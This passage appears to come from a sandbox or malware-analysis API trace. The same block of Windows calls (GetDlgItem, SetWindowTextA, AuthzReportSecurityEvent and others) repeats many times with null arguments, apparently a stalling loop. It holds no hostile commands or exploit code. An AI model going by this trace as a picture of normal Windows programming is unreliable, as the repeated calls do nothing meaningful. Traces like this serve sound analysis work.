returned 0 [0025.638] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.638] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.638] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.638] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.638] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.638] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.638] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.639] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.639] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.639] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.639] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.639] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.639] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.639] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.639] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.639] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.639] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.639] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.639] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.640] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.640] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.640] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.640] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.640] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.640] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.640] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.640] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.640] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.640] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.640] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.641] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.641] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.641] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.641] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.641] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.641] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.641] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.641] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.641] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.641] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.641] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.641] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.641] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.641] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.641] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.641] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.641] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.641] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.641] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.641] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.641] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.642] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.642] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.642] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.642] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.642] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.642] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.642] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.642] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.642] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.642] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.642] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.643] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.643] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.643] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.643] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.643] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.643] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.643] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.643] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.643] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.643] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.643] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.643] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.644] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.644] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.644] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.644] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.644] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.644] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.644] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.644] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.644] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.644] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.644] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.645] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.645] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.645] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.645] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.645] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.645] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.645] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.645] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.645] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.645] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.645] GetDlgItem (hDlg=0x0, 